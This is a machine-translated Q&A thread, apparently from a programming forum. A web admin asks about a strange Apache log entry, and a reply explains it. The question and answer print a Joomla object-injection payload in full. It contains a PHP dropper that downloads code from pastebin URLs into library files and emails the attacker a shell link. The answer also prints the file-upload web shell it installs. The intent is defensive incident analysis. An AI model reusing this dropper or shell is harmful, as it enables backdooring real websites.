2017-03-22 13 views
1

私は最近、本番環境のApache/PHP/MySQL WebアプリケーションでSQLインジェクションを防ぐことに取り組んでいます。MySQL注入試行 - access.logから複製する方法?

このため、私は定期的に異常な要求のためにApacheアクセスログを探し出し、それらが特有のものを見つけると誰かがそれを再現しようとします。

今日、アクセスログに奇妙なログが表示されていました。 HTTPリファラーが存在することがわかりますが、元のリクエストに一致するログがありません。 Apache Error Logに「サーバー構成によって拒否されました」という意味の一致するログもありません。ここ

奇妙ログ(base_64復号)である:

169.239.180.100 - - [22 /月/ 2017:04:01:37 +0000] "GET/HTTP/1.1" 200 13963 " - " O:21: "JDatabaseDriverMysqli":3:{s:2:\ "fc \"; O:17:\ "JSimplepieFactory \":0:{} s:21:\ "\ 0 \ a:1:{i:0; a:2:{i:0; O:9:\ "SimplePie \":5:{s:8:\ "sanitize \"; O:20} :\ "JDatabaseDriverMysql \":0:{} s:8:\ "feed_url \"; s:3462:\ "$ check = $ _SERVER ['DOCUMENT_ROOT'] "/libraries/lol.php"; $ fp = fopen( "$ check"、 "w +"); ますfwrite($ fpは、BASE64_DECODE( '

<?php 
function http_get($url){ 
    $im = curl_init($url); 
    curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); 
    curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($im, CURLOPT_HEADER, 0); 
    return curl_exec($im); 
    curl_close($im); 
} 
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ; 
$text = http_get('http://pastebin.com/raw/hjvDMQX1'); 
$open = fopen($check, 'w'); 
fwrite($open, $text); 
fclose($open); 
if(file_exists($check)){ 
    echo $check."</br>"; 
}else 
    echo "not exits"; 
echo "done .\n " ; 
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ; 
$text2 = http_get('http://pastebin.com/raw/KPh36MAb'); 
$open2 = fopen($check2, 'w'); 
fwrite($open2, $text2); 
fclose($open2); 
if(file_exists($check2)){ 
    echo $check2."</br>"; 
}else 
    echo "not exits2"; 
echo "done2 .\n " ; 

$check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ; 
$text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ'); 
$op3=fopen($check3, 'w'); 
fwrite($op3,$text3); 
fclose($op3); 

$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ; 
$text4 = http_get('http://pastebin.com/raw/RA3giT4L'); 
$op4=fopen($check4, 'w'); 
fwrite($op4,$text4); 
fclose($op4); 

$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ; 
$text5 = http_get('http://pastebin.com/raw/KPh36MAb'); 
$op5=fopen($check5, 'w'); 
fwrite($op5,$text5); 
fclose($op5); 


$toz = "[email protected]"; 
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME']; 
$header = 'from: Saico <[email protected]>' . "\r\n"; 
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n"; 
$sentmail = @mail($toz, $subject, $message, $header); 

@unlink(__FILE__); 


?> 

')); fclose($ fp); s:5:\ "キャッシュ\"; b:1; s:11:\ "キャッシュ名\"; s:6: \ "キャッシュ\クラス\"; O:20:\ "JDatabaseDriverMysql \":0:{}} i:1; s:4:\ "init \";}} s:13:\ "\ 0 \ 0 \ 0connection \ "; b:1;} \ xf0 \ xfd \ xfd \ xfd"

このGET要求をPostman経由で複製しようとしましたが、 "無効なXMLHTTPRequest"と見なされます。私はどのようにこれを通常テストするか分からないのですか?

また、これが何をするのか(または何をしようとしているのか)わかりません。これが何をしようとしているのか(それが成功したのか)についての情報や理論は、大いに感謝しています。

私は、HTTPリファラーを介してSQLをいくつかの「フレームワーク」に挿入するだけの簡単な試みだと考えていますが、私は専門家ではありません。助けを前にありがとう。

+1

まず、そのペイロードをデコードして、内容を確認してください。ちょっと評価してください。 –

+0

興味深い、良いアイデア。ログを手動でデコードして回答を更新しました。 (:ハハ。 –

答えて

1

これは私が

<?php 
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/lol.php" ; 
$fp=fopen("$check","w+"); 
fwrite($fp, 
function http_get($url){ 
    $im = curl_init($url); 
    curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); 
    curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($im, CURLOPT_HEADER, 0); 
    return curl_exec($im); 
    curl_close($im); 
} 
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ; 
$text = http_get('http://pastebin.com/raw/hjvDMQX1'); 
$open = fopen($check, 'w'); 
fwrite($open, $text); 
fclose($open); 
if(file_exists($check)){ 
    echo $check."</br>"; 
}else 
    echo "not exits"; 
echo "done .\n " ; 
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ; 
$text2 = http_get('http://pastebin.com/raw/KPh36MAb'); 
$open2 = fopen($check2, 'w'); 
fwrite($open2, $text2); 
fclose($open2); 
if(file_exists($check2)){ 
    echo $check2."</br>"; 
}else 
    echo "not exits2"; 
echo "done2 .\n " ; 

$check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ; 
$text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ'); 
$op3=fopen($check3, 'w'); 
fwrite($op3,$text3); 
fclose($op3); 

$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ; 
$text4 = http_get('http://pastebin.com/raw/RA3giT4L'); 
$op4=fopen($check4, 'w'); 
fwrite($op4,$text4); 
fclose($op4); 

$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ; 
$text5 = http_get('http://pastebin.com/raw/KPh36MAb'); 
$op5=fopen($check5, 'w'); 
fwrite($op5,$text5); 
fclose($op5); 

それをデコードしたときに、私が得たものであるあなたがJoomlaのCMSを使用しているように見えます。スクリプトによって呼び出されているライブラリフォルダlol.phpの中にファイルがあります。もう1つのファイル/libraries/joomla/wl.phpも、悪意のあるファイルが呼び出されています。また、ペーストビンコードは、それはあなたのファイル/libraries/joomla/jmail.phpにペーストビンコードを書いている

<?php 
// name of the file is: i (it has no extension) 
error_reporting(0); 

if(isset($_GET["0"])) 
    { 
     echo"<font color=#000FFF>[uname]".php_uname()."[/uname]";echo "<br>";print "\n";if(@ini_get("disable_functions")){echo "DisablePHP="[email protected]_get("disable_functions");}else{ echo "Disable PHP = NONE";}echo "<br>";print "\n";if(@ini_get("safe_mode")){echo "Safe Mode = ON";}else{ echo "Safe Mode = OFF";} echo "<br>";print "\n";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}} } 
echo 'walex'; 

echo 'uname:'.php_uname()."\n"; 
echo getcwd() . "\n"; 

?> 

を実行されています。

結論:

あなたが心配するのJoomla CMSの何を使用していないされていない場合。はいの場合は、影響を受けるファイルをチェックする必要があります。可能性のある悪意のあるファイルがサーバーにアップロードされます。

+0

幸いにも、私はJoomlaを使用していません。あなたの答え(&@ hankypankyのコメント)をありがとう、これは質問に答えると信じているPS: "悪い練習"と見なされる質問のボディに攻撃者の電子メールを残している? –

+0

@RobertSchwindamanようこそ。正直なところ私もあまりにも悪い習慣であるかどうかわからないので、電子メールを変更して攻撃者にJoomlaを使用しないときにそのトリックを試してはいけないことを通知する方が良い。 –

+0

私のカウンターは:自分が所有していないWebサイトを悪意をもって攻撃しようとすると、一般的に2回考えるべきです。私はスタック上で私の電子メールを見れば私は知っている。 –

関連する問題